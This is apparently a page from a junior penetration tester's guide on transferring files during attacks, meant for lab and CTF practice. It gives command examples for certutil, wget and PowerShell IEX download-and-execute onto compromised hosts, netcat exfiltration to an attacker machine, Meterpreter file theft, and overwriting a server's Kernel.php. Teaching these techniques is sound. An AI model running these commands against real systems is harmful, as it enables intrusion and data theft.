> For the complete documentation index, see [llms.txt](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/transferring-files.md). # Transferring files To use rsync, enable ssh on your kali machine by typing: ``` systemctl start ssh ``` rsync command syntax ``` rsync -v password.raw-md5 kali@10.4.4.122:/home/kali ``` Breakdown of the command: `rsync`: The name of the command being executed. `-v`: This option enables verbose mode, which shows the progress of the transfer and more information about the files being transferred. `password.raw-md5`: This is the name of the file that is being transferred. `kali@10.4.4.122:/home/kali`: This is the destination of the transfer. It specifies that the file should be transferred to the `kali` user's home directory on the machine with IP address `10.4.4.122`. **Transferring files to a Linux machine** ``` wget http:///linpeas.sh -O linpeas.sh ``` 1. `wget`: This is the command-line utility for downloading files from the internet. It is commonly used in Unix-based systems like Linux to fetch files from web servers. 2. `http:///linpeas.sh`: This is the URL of the file you want to download. In this case, it appears to be a shell script named `linpeas.sh`. Replace `` with the actual IP address or hostname of the server where the file is hosted. 3. `-O linpeas.sh`: This part of the command specifies the options for how the downloaded file should be saved: * `-O`: This option tells `wget` to specify the output file name. * `linpeas.sh`: This is the name you want to give to the downloaded file on your local system. In this case, the downloaded file will be saved as `linpeas.sh` in the current working directory. **Using a python server:** ``` python3 -m http.server 80 ``` **Using xfreerdp to sign into a remote machine** ``` xfreerdp /u:'wade' /p:'parzival' /v:10.10.184.107 ``` **Transferring files to a hacked Windows machine. Run this command from cmd.** ``` certutil -urlcache -split -f http:///winpeas.exe winpeas.exe ``` Here's what each parameter means: * `-urlcache`: tells certutil to download a file from a URL * `-split`: tells certutil to split the file into smaller chunks for transfer * `-f`: tells certutil to overwrite the file if it already exists on the target machine * `http:///winpeas.exe`: the URL where the winpeas.exe file is hosted * `winpeas.exe`: the name of the file that will be saved on the target machine ### Starting an Impacket SMB server from your current directory ``` impacket-smbserver -smb2support htb $(pwd) ``` Edit the following file beforehand /etc/samba/smb.conf ![](https://2288465892-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDIt8oNqqCdL9Vt3UR8bR%2Fuploads%2FKpuqBNOzhYunSanE0RVr%2Fimage.png?alt=media\&token=96f0b238-564f-4ba3-98a4-3105f0543e4b) ### Using WGET with Powershell ``` powershell+wget+'http://10.10.14.25/shell.ps1' ``` ### Downloading all files from a machine using ftp ``` wget --mirror 'ftp://:'@domain_name.domain_name ``` ### Searching for files with Meterpreter ``` search -f user.txt ``` ``` search -r -f user.txt ``` ### Downloading files with Meterpreter ``` Download \Documents and Settings\Administrator\Desktop\root.txt ``` ### Curl and image while ignoring certificate checking ``` curl -k http:///path/to/file -o ``` ### Using SCP ``` scp username@remote_host:/path/to/source/file_or_directory /path/to/destination/ ``` ### Overwriting a file on a Linux server ``` wget http://:8000/Kernel.php -O /var/www/laravel/app/Console/Kernel.php ``` ### Downloading files onto a Windows box - Using Invoke Web Request and IEX ``` Invoke-WebRequest -Uri "http://your_kali_server_ip:port/your_script.ps1" -OutFile "C:\path\to\destination\your_script.ps1" ``` ``` IWR -Uri http://10.10.14.7:5555/sharphound.exe -OutFile sharphound.exe ``` ``` IEX (New-Object Net.WebClient).downloadString('http://your_kali_server_ip:port/your_script.ps1') ``` * `your_kali_server_ip`: Replace this with the IP address of your Kali Linux server. * `port`: Replace this with the port on which your script is hosted. * `your_script.ps1`: Replace this with the name of the PowerShell script you want to download and execute. ### Uploading a file using curl ``` curl -T -u ':' ``` ### Downloading files recursively with wget ``` wget -r 'ftp://username:password@ftp_server' ``` ### Transferring files from Linux machines using Netcat You can transfer files from the compromised Linux machine to your Kali attacking machine using `netcat` by setting up a listener on your Kali machine and sending the file from the compromised machine. Here's how you can do it: On your Kali machine: 1. Set up a `netcat` listener to receive the file. Choose a port number (e.g., 12345) and ensure that your Kali machine's firewall isn't blocking incoming connections on that port. ```bash nc -lvp 12345 > received_file ``` On the compromised Linux machine: 2. Use `netcat` to send the file to your Kali machine. Replace `kali_ip` with the actual IP address of your Kali machine and `port_number` with the port you set in the listener: ```bash nc -w 3 kali_ip port_number < file_to_transfer ``` * `-w 3` sets a timeout of 3 seconds, which means that the connection will close if it's idle for 3 seconds. On your Kali machine: 3. The file will be received on your Kali machine in the current working directory as "received\_file." Make sure to replace `kali_ip` with the actual IP address of your Kali machine and `port_number` with the chosen port number for the `netcat` listener.